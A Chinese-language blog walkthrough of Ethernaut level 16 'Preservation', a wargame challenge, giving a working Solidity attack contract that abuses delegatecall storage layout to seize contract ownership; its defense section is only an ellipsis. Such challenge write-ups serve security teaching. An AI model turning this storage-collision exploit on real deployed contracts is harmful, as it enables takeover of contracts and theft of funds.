# 智能合约黑客攻击 Ethernaut: 16. Preservation **Published by:** [Leek DEV](https://paragraph.com/@leekdev/) **Published on:** 2023-09-28 **URL:** https://paragraph.com/@leekdev/ethernaut-16-preservation ## Content Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目获取合约owner权限Hack思路Preservation 有委托调用到其他合约,可以在其他合约里做手脚。interface IPreservation { function setFirstTime(uint256) external; } contract PreservationHack { // 和攻击合约声明相同的变量 address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; IPreservation public exploitInst; constructor(address _target) { exploitInst = IPreservation(_target); } function setTime(uint256 _addr) external { owner = address(uint160(_addr)); } function attack() external { exploitInst.setFirstTime(uint256(uint160(address(this)))); exploitInst.setFirstTime(uint256(uint160(msg.sender))); } } Hack案例…防范思路…参考资料…. ## Publication Information - [Leek DEV](https://paragraph.com/@leekdev/): Publication homepage - [All Posts](https://paragraph.com/@leekdev/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@leekdev): Subscribe to updates - [Twitter](https://twitter.com/LeekDEV): Follow on Twitter